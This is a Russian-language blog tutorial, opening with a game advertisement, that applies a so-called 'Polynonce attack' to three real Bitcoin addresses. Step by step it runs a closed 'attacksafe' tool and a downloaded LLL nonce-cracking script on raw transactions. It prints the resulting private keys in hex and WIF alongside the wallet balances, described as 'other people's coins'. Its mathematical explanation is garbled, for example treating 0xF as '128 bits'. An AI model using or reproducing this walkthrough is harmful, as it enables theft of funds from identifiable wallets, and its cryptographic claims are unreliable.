Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
В этой статье мы затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”.
Благодаря статье портала “CRYPTO DEEP TECH” мы создали репозитория в GITHUB
Видео инструкция об утечке приватного ключа Биткоин Кошелька:
Пример №1 как на сумму $ 3699.40 получили приватный ключ к чужим монетам Bitcoin Wallet
Пример №2 как на сумму $ 1133.73 получили приватный ключ к чужим монетам Bitcoin Wallet
Пример №3 как на сумму $ 459.24 получили приватный ключ к чужим монетам Bitcoin Wallet
Видео инструкция из портала "CRYPTO DEEP TECH":
"POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа"
За практическую основу мы будем брать материалы из ранней статьи портала “CRYPTO DEEP TECH” “Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина.
Нам многое может открыть
Binary number (4 digits): "1111" // Hex number: "F" //
Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” //
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001
Мы видим что полинома как единица в бинарном коде произвольно высокой степени 128 bits по модулю
Speed up secp256k1 with endomorphism
Учитывая этот факт первоначальный бит приватного ключа Биткоина будет Binary number (4 digits): “1111” // Hex number: “F” //
За теоретическую основу мы будем брать материалы:
“Polynonce Attack on Bitcoin”
Рассмотрим пример с Биткоин Адресом:
1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441
RawTX
02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000
Перейдем на официальный сайт: https://colab.research.google.comВыберем опцию “Upload notebook”Загрузим файл: POLYNONCE_ATTACK.ipynbЗагрузим
HEX
-данные через утилитуecho
и сохраним в файл: RawTX.txt
!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt
Чтобы реализовать атаку мы воспользуемся программным обеспечение
“ATTACKSAFE SOFTWARE”
Права доступа:
!chmod +x attacksafe
ls
Применение:
!./attacksafe -help
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
!./attacksafe -version
Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023]
"ATTACKSAFE SOFTWARE"
включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
!./attacksafe -list
Выберем -tool: polynonce_attack
Чтобы получить определенные
HEX
значениеR,S,Z
к подписиECDSA
, мы ранее добавили данныеRawTX
через утилитуecho
в текстовый документ и сохранили как файлRawTX.txt
02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000
Запустим -tool
polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
Мы запустили данную атаку из -tool polynonce_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv
Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv
мы установим SageMath
Ранее мы опубликовали статью, скачаем
tar-file
: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
Перейдем по каталогу:
cd SageMath/
ls
Запустим
Python-script:
relocate-once.py по команде:
!python3 relocate-once.py
Переместим
"AttackSafe"
и"SignatureRSZ.csv"
в папку"SageMath"
!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
ls
Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту
wget
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py
Теперь запустим
SageMath
по команде:
!./sage -sh
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
128 bits 4 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
cat PrivateKey.txt
Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате
PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Результат:
Мы получили четыре одинаковых первоначальных
128 bits
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits
так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //
Проверим HEX приватного ключа:
Установим модуль
bitcoin
!pip3 install bitcoin
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Откроем файл:
PrivateKeyAddr.txt
Откроем bitaddress и проверим:
ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX
HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
BALANCE: $ 3699.40
Рассмотрим остальные примеры:
№2
Рассмотрим пример №2 с Биткоин Адресом:
137a6fqt13bhtAkGZWrgcGM98NLCotszR2
c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b
RawTX
010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000
Удалим файлы с первого примера:
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
Загрузим
HEX
-данные через утилитуecho
и сохраним в файл: RawTX.txt
!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt
Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
Мы запустили данную атаку из -tool polynonce_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv
Запустим
SageMath
по команде:
!./sage -sh
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
128 bits 4 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
cat PrivateKey.txt
Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате
PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Результат:
Мы получили четыре одинаковых первоначальных
128 bits
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits
так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Откроем файл:
PrivateKeyAddr.txt
Откроем bitaddress и проверим:
ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2
WIF: L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo
HEX: ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c
https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2
BALANCE: $ 1133.73
Рассмотрим остальные примеры:
№3
Рассмотрим пример №3 с Биткоин Адресом:
1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98
RawTX
01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000
Удалим файлы со второго примера:
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
Загрузим
HEX
-данные через утилитуecho
и сохраним в файл: RawTX.txt
!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt
Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
Мы запустили данную атаку из -tool polynonce_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv
Запустим
SageMath
по команде:
!./sage -sh
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
128 bits 4 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
cat PrivateKey.txt
Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате
PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Результат:
Мы получили четыре одинаковых первоначальных
128 bits
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits
так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Откроем файл:
PrivateKeyAddr.txt
Откроем bitaddress и проверим:
ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
WIF: L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY
HEX: fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf
https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
BALANCE: $ 459.24
Literature:
A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)
Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)
Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)
Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0
Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014)
Исходный код
ATTACKSAFE SOFTWARE
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/7nKs_KHtyn4
Источник: https://cryptodeep.ru/polynonce-attack